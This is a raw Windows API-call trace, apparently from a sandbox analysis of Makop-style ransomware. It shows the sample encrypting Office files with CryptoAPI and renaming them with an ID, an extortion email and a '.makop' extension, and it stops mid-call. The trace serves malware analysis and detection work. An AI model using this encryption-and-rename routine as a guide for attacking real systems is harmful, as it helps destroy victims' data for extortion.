[0091.439] GetFileType (hFile=0x138) returned 0x1 [0091.439] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.440] CloseHandle (hObject=0x138) returned 1 [0091.440] GetFileType (hFile=0xf0) returned 0x1 [0091.440] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0091.441] CloseHandle (hObject=0xf0) returned 1 [0091.442] GetFileType (hFile=0x138) returned 0x1 [0091.442] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.443] CloseHandle (hObject=0x138) returned 1 [0091.443] GetFileType (hFile=0xf0) returned 0x1 [0091.443] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0091.445] CloseHandle (hObject=0xf0) returned 1 [0091.445] GetFileType (hFile=0x138) returned 0x1 [0091.445] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.446] CloseHandle (hObject=0x138) returned 1 [0091.446] GetFileType (hFile=0xf0) returned 0x1 [0091.446] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0091.447] CloseHandle (hObject=0xf0) returned 1 [0091.448] GetFileType (hFile=0x138) returned 0x1 [0091.448] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.449] CloseHandle (hObject=0x138) returned 1 [0091.449] GetFileType (hFile=0xf0) returned 0x1 [0091.449] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0091.450] CloseHandle (hObject=0xf0) returned 1 [0091.450] GetFileType (hFile=0x138) returned 0x1 [0091.450] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0091.452] CloseHandle (hObject=0x138) returned 1 [0091.452] GetFileType (hFile=0xf0) returned 0x1 [0091.452] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.453] CloseHandle (hObject=0xf0) returned 1 [0091.453] GetFileType (hFile=0x138) returned 0x1 [0091.453] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0091.454] CloseHandle (hObject=0x138) returned 1 [0091.455] GetFileType (hFile=0xf0) returned 0x1 [0091.455] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0091.456] CloseHandle (hObject=0xf0) returned 1 [0091.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.461] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0091.461] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0091.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.463] GetProcessHeap () returned 0x48a0000 [0091.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.463] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0091.464] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.464] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.464] GetProcessHeap () returned 0x48a0000 [0091.465] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.465] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0091.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.465] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0091.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0091.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0091.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0091.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0091.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.470] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.470] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.470] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0091.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0091.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0091.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x124a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.520] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24980, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24980, lpOverlapped=0x0) returned 1 [0091.521] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24980, dwBufLen=0x24980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24980) returned 1 [0091.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24980, lpOverlapped=0x0) returned 1 [0091.524] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x124a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.524] SetEndOfFile (hFile=0xf0) returned 1 [0091.532] GetProcessHeap () returned 0x48a0000 [0091.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.532] GetProcessHeap () returned 0x48a0000 [0091.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.533] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0091.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.534] CloseHandle (hObject=0xf0) returned 1 [0091.534] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0091.534] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0091.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.535] GetProcessHeap () returned 0x48a0000 [0091.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.535] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0091.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.536] GetProcessHeap () returned 0x48a0000 [0091.536] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0091.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0091.586] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0091.586] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0091.587] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0091.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0091.587] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.587] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.587] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.587] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xac370, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xac370, lpOverlapped=0x0) returned 1 [0091.606] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xac370, dwBufLen=0xac370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xac370) returned 1 [0091.613] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.613] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xac370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xac370, lpOverlapped=0x0) returned 1 [0091.618] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.619] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xac444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.619] SetEndOfFile (hFile=0xf0) returned 1 [0091.628] GetProcessHeap () returned 0x48a0000 [0091.628] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.628] GetProcessHeap () returned 0x48a0000 [0091.628] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.628] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0091.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.629] CloseHandle (hObject=0xf0) returned 1 [0091.629] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0091.629] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0091.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.632] GetProcessHeap () returned 0x48a0000 [0091.632] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.632] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0091.633] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0091.637] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.637] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.637] GetProcessHeap () returned 0x48a0000 [0091.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.637] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0091.637] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.637] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0091.637] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0091.637] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0091.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.638] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.638] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.638] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a5b, lpOverlapped=0x0) returned 1 [0091.640] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60) returned 1 [0091.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a60, lpOverlapped=0x0) returned 1 [0091.640] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.641] SetEndOfFile (hFile=0xf0) returned 1 [0091.648] GetProcessHeap () returned 0x48a0000 [0091.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.648] GetProcessHeap () returned 0x48a0000 [0091.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0091.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.650] CloseHandle (hObject=0xf0) returned 1 [0091.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0091.650] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0091.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.652] GetProcessHeap () returned 0x48a0000 [0091.652] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.652] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: 